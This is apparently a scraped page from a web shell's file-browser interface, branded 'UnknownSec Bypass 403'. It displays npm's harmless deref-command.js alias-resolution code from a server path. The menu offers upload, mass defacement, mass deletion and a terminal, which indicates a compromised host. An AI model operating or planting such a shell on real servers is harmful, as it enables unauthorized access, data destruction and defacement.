UnknownSec Bypass
403
:
/
home
/
ubuntu
/
.nvm
/
versions
/
node
/
v16.13.1
/
lib
/
node_modules
/
npm
/
lib
/
utils
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
deref-command.js
// de-reference abbreviations and shorthands into canonical command name const { aliases, cmdList, plumbing } = require('../utils/cmd-list.js') const aliasNames = Object.keys(aliases) const fullList = cmdList.concat(aliasNames).filter(c => !plumbing.includes(c)) const abbrev = require('abbrev') const abbrevs = abbrev(fullList) module.exports = c => { if (!c || typeof c !== 'string') return '' if (c.match(/[A-Z]/)) c = c.replace(/([A-Z])/g, m => '-' + m.toLowerCase()) if (plumbing.indexOf(c) !== -1) return c // first deref the abbrev, if there is one // then resolve any aliases // so `npm install-cl` will resolve to `install-clean` then to `ci` let a = abbrevs[c] while (aliases[a]) a = aliases[a] return a || '' }
Copyright © 2025 - UnknownSec